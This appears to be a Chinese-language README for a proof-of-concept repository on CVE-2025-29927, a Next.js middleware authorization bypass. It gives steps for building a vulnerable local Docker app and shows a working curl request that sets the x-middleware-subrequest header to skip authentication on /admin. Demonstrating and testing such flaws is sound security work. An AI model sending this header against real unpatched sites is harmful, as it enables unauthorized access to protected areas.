此仓库演示了 Next.js 中间件中的一个严重 漏洞(CVE-2025-29927),影响版本为 11.1.4 至 15.1.7。该漏洞允许通过缓存投毒实现 授权绕过、CSP 绕过 以及潜在的 DoS 攻击。问题源于 x-middleware-subrequest 请求头的处理方式,使得攻击者能够绕过中间件保护机制。
此概念验证专门针对 v12 中的漏洞。
使用 docker 和本仓库中的文件来搭建易受攻击的环境,运行以下命令:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
本仓库已包含 exploit.sh 脚本,用于测试该漏洞的利用。要测试它,请运行:
chmod +x exploit.sh
./exploit.sh
此外,您还可以通过以下方式测试该漏洞的利用:
login 页面。curl -i http://localhost:3000/admin
x-middleware-subrequest 请求头。您应该能够绕过认证页面。curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin